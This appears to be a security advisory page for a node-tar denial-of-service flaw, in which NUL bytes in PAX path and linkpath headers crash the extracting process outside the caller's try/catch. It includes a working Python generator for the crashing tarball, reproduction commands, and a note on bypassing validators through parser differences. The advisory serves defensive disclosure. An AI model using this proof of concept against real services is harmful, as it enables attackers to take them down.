npm · tar
node-tar: Uncaught Exception DoS via NUL byte in PAX path/linkpath records
node-tar strips trailing NUL bytes from long-name (L) and long-linkpath (K) GNU extended headers but does not apply the same sanitization to equivalent fields delivered via PAX (x typeflag) extended headers. A PAX record of the form path=visible.txt\x00hidden.txt is parsed verbatim into entry.path and flows into fs.lstat() / fs.open(), which Node.js core rejects with ERR_INVALID_ARG_VALUE. The throw originates inside an FSReqCallback async chain that is not wrapped by the consumer's await/try-catch around tar.x() — it surfaces as uncaughtException and terminates the process.
This is a remote denial-of-service primitive against any process that extracts attacker-supplied tarballs through tar.x / tar.extract / tar.t / tar.Parser, even when the consumer follows the documented try/catch error-handling pattern.
A secondary parser-differential (CWE-436) exists because tar(1), bsdtar, and Python tarfile truncate the path at the first NUL (yielding visible.txt) while node-tar retains the full string. A validator that pre-scans a tarball with one tool and extracts with the other is bypassed.
src/pax.ts:157-183PAX KV records flow through parseKVLine. The value half (v) is assigned directly to the result object with no sanitization for embedded NUL bytes:
// src/pax.ts:157
const parseKVLine = (set: Record<string, unknown>, line: string) => {
const n = parseInt(line, 10)
if (n !== Buffer.byteLength(line) + 1) return set
line = line.slice((n + ' ').length)
const kv = line.split('=')
const r = kv.shift()
if (!r) return set
const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')
const v = kv.join('=') // <-- NO NUL STRIP
set[k] =
/^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?
new Date(Number(v) * 1000)
: /^[0-9]+$/.test(v) ? +v
: v // <-- v with NULs lands here
return set
}
The PAX record body is length-prefixed, so the parser knows the exact byte boundary — but it never checks whether the value half between = and \n contains NUL. The result is consumed by Header / ReadEntry, where entry.path and entry.linkpath carry the embedded NUL all the way to fs.lstat().
src/parse.ts:375-388The equivalent code path for GNU L/K long-headers does strip NUL bytes:
// src/parse.ts:375
case 'NextFileHasLongPath':
case 'OldGnuLongPath': {
const ex = this[EX] ?? Object.create(null)
this[EX] = ex
ex.path = this[META].replace(/\0.*/, '') // <-- NUL strip applied
break
}
case 'NextFileHasLongLinkpath': {
const ex = this[EX] || Object.create(null)
this[EX] = ex
ex.linkpath = this[META].replace(/\0.*/, '') // <-- NUL strip applied
break
}
The parse.ts fix is the maintainer's own acknowledgement that path strings on this codepath must be NUL-stripped before reaching fs.*. The PAX path produces the identical primitive but bypasses the guard.
entry.path and entry.linkpath are consumed in:
src/unpack.ts → fs.lstat, fs.open, fs.symlink, fs.link, fs.mkdirsrc/list.ts (no crash — listing tolerates NUL in strings)ReadEntry event that calls path.join() / fs.* on entry.pathThe crash fires inside the FSReqCallback Node-internal async machinery, outside the user's await tar.x(...) Promise rejection boundary.
poc-null-byte-crash.tar — 3072 bytes — PAX path=visible.txt\x00hidden.txtpoc-null-linkpath-crash.tar — 2560 bytes — PAX linkpath=target\x00garbage (symlink target sink)poc1-pax-prefix.py — minimal PAX-header builder (Python 3, no deps)#!/usr/bin/env python3
"""Minimal PAX-NUL-injection tarball generator for node-tar PoC."""
import os
def cksum(b):
s = 0
for i, x in enumerate(b):
s += 0x20 if 148 <= i < 156 else x
return s
def pad512(buf):
rem = len(buf) % 512
return buf + b'\0' * (512 - rem) if rem else buf
def hdr(name, size, typeflag, prefix=b'', linkpath=b''):
b = bytearray(512)
b[0:len(name[:100])] = name[:100]
b[100:108] = b'0000644\0'
b[108:116] = b'0001000\0'
b[116:124] = b'0001000\0'
b[124:136] = ('%011o ' % size).encode()
b[136:148] = ('%011o ' % 0).encode()
b[148:156] = b' '
b[156:157] = typeflag
b[157:157+len(linkpath[:100])] = linkpath[:100]
b[257:265] = b'ustar\x0000'
b[265:270] = b'root\0'
b[297:302] = b'root\0'
b[329:337] = b'0000000\0'
b[337:345] = b'0000000\0'
b[345:345+len(prefix[:155])] = prefix[:155]
s = cksum(b)
b[148:156] = ('%06o\0 ' % s).encode()
return bytes(b)
def pax(records):
body = b''
for k, v in records:
kv = b' ' + k + b'=' + v + b'\n'
for digits in range(1, 8):
total = digits + len(kv)
if len(str(total)) == digits:
break
body += str(total).encode() + kv
return pad512(hdr(b'PaxHeader/poc', len(body), b'x') + body)
out = pax([(b'path', b'visible.txt\x00hidden.txt')]) # NUL in PAX path
out += hdr(b'placeholder', 1, b'0')
out += pad512(b'A')
out += b'\0' * 1024 # end-of-archive
open('poc.tar', 'wb').write(out)
# 1. Generate tarball
python3 poc1-pax-prefix.py # writes poc.tar (3 KB)
# 2. Install vulnerable version
mkdir repro && cd repro
npm init -y && npm install tar@7.5.16
# 3. Try to extract with documented try/catch — observe uncaught exception
mkdir -p ./out
node --input-type=module -e '
process.on("uncaughtException", e => {
console.log("UNCAUGHT:", e.code, "-", e.message);
process.exit(99);
});
import("tar").then(async tar => {
try {
await tar.x({ file: "../poc.tar", cwd: "./out" });
console.log("NORMAL_RETURN");
} catch (e) {
console.log("CAUGHT_BY_USER:", e.code);
}
});'
tar@7.5.16)UNCAUGHT: ERR_INVALID_ARG_VALUE - The argument 'path' must be a string,
Uint8Array, or URL without null bytes.
Received '/.../out/visible.txt\x00hidden.txt'
exit: 99
The exception bypasses the user's try { await tar.x(...) } catch (e) { ... } block and lands in the global uncaughtException handler. In a typical server without that handler, the process exits.
Any service that ingests attacker-supplied tarballs via node-tar inherits a one-tarball-kills-the-process primitive. Realistic deployments where this is reachable without user interaction:
actions/cache, actions/setup-* extracting toolchains)A correctly-coded consumer that does:
try {
await tar.x({ file: req.upload.path, cwd: tmpdir });
} catch (e) {
return res.status(400).json({ error: 'bad archive' });
}
does not catch this throw. The Node process dies and (depending on the supervisor) the worker may take time to respawn or never respawn if it dies during boot.
| Tool | Result for path=visible.txt\x00hidden.txt |
|---|---|
GNU tar (tar -tvf) |
Lists visible.txt (truncated at NUL) |
bsdtar -tvf |
Lists visible.txt (truncated at NUL) |
| Python `tarfi |
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.